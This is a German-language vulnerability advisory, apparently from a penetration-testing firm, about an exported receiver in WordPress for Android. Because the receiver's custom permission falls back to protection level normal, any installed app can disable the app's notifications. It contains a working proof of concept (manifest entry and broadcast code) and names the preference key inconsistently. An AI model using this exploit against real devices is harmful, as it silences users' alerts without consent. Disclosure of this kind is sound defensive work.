WordPress for Android: Benachrichtigungen durch jede installierte App abschaltbar
Jede nach WordPress installierte App erhält die Berechtigung des exportierten Empfängers ohne Rückfrage und schaltet die Benachrichtigungen der App ab, ohne Interaktion des Nutzers.
Advisory-ID: TP-2026-119
Produkt: WordPress for Android (offizielle WordPress-App für Android von Automattic)
Schwachstellentyp: Fehlerhafte Standard-Berechtigung (CWE-276)
CVE: nicht beantragt
CVSS 3.1: 5.1 (Mittel) · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Betroffene Versionen: bis einschließlich 27.2 (nachgewiesen auf 27.0, Variante org.wordpress.android)
Behoben in: 27.3
Gemeldet: 3. August 2026
Zusammenfassung
WordPress for Android ist die offizielle App von Automattic zur Verwaltung von WordPress-Websites. Die App exportiert den Broadcast-Empfänger JetpackAppInstallReceiver, der beim Empfang die Benachrichtigungen der App global abschaltet und nur der Jetpack-App von Automattic offenstehen sollte. Geschützt ist er allein durch die app-eigene Berechtigung org.wordpress.android.permission.DISABLE_NOTIFICATIONS, deren Deklaration kein android:protectionLevel setzt und damit auf normal fällt. Android gewährt eine normal-Berechtigung jeder App, die sie im Manifest anfordert, bei der Installation ohne Rückfrage und ohne Signaturprüfung. Jede danach installierte App schaltet so den Hauptschalter für Benachrichtigungen ab, löscht angezeigte Benachrichtigungen und storniert geplante Erinnerungen, ohne Interaktion des Nutzers und ohne dass WordPress läuft.
Ursache
WordPress/src/wordpress/AndroidManifest.xml:5-8 deklariert ${applicationId}.permission.DISABLE_NOTIFICATIONS nur mit android:label und android:description, sodass das fehlende android:protectionLevel auf normal zurückfällt. WordPress/src/wordpress/AndroidManifest.xml:17-24 exportiert JetpackAppInstallReceiver mit dieser Berechtigung als einziger Zugriffskontrolle und einem Intent-Filter für org.wordpress.android.broadcast.DISABLE_NOTIFICATIONS. onReceive ignoriert den empfangenen Intent vollständig und ruft updateNotificationSettings(false) sowie removeAllNotifications auf (WordPress/src/wordpress/java/org/wordpress/android/ui/mysite/jetpackbadge/JetpackAppInstallReceiver.kt:27-36). UpdateNotificationSettingsUseCase schreibt die Einstellung wp_pref_notifications_main auf false und storniert den Weekly Roundup und alle Blogging-Erinnerungen (WordPress/src/main/java/org/wordpress/android/ui/prefs/notifications/usecase/UpdateNotificationSettingsUseCase.kt:28-46). Diese Einstellung entscheidet in showNotificationForBuilder über die Anzeige jeder Push-Benachrichtigung (WordPress/src/main/java/org/wordpress/android/push/GCMMessageHandler.java:788-799).
Proof of Concept
$ adb shell dumpsys package org.wordpress.android | grep -A2 "declared permissions"
org.wordpress.android.permission.DISABLE_NOTIFICATIONS: prot=normal, INSTALLED
// Manifest der angreifenden App
<uses-permission android:name="org.wordpress.android.permission.DISABLE_NOTIFICATIONS" />
// Code der angreifenden App
Intent n = new Intent("org.wordpress.android.broadcast.DISABLE_NOTIFICATIONS");
n.setComponent(new ComponentName("org.wordpress.android",
"org.wordpress.android.ui.mysite.jetpackbadge.JetpackAppInstallReceiver"));
n.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
ctx.sendBroadcast(n);
vorher: wp_pref_notifications_master fehlt (Standard true)
nachher: <boolean name="wp_pref_notifications_master" value="false" />
Die angreifende App ist mit einem beliebigen eigenen Schlüssel signiert und nach WordPress installiert, deshalb erhält sie die normal-Berechtigung automatisch (granted=true). Der Broadcast startet die gestoppte WordPress-App im Hintergrund und setzt den Hauptschalter für Benachrichtigungen ohne jede Rückfrage auf aus.
Auswirkung
- Hauptschalter für Benachrichtigungen der WordPress-App durch jede installierte App abschaltbar, ohne Rückfrage und ohne Interaktion des Nutzers.
- Angezeigte Benachrichtigungen gelöscht, geplante Blogging-Erinnerungen und der Weekly Roundup storniert.
- Wiederholbar, nachdem der Nutzer den Schalter wieder einschaltet; die App muss dafür nicht im Vordergrund laufen.
- Begrenzt: Konto, Websites, Zugangsdaten und Inhalte bleiben unerreichbar, und die Push-Benachrichtigung zur Anmeldebestätigung wird nicht unterdrückt.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
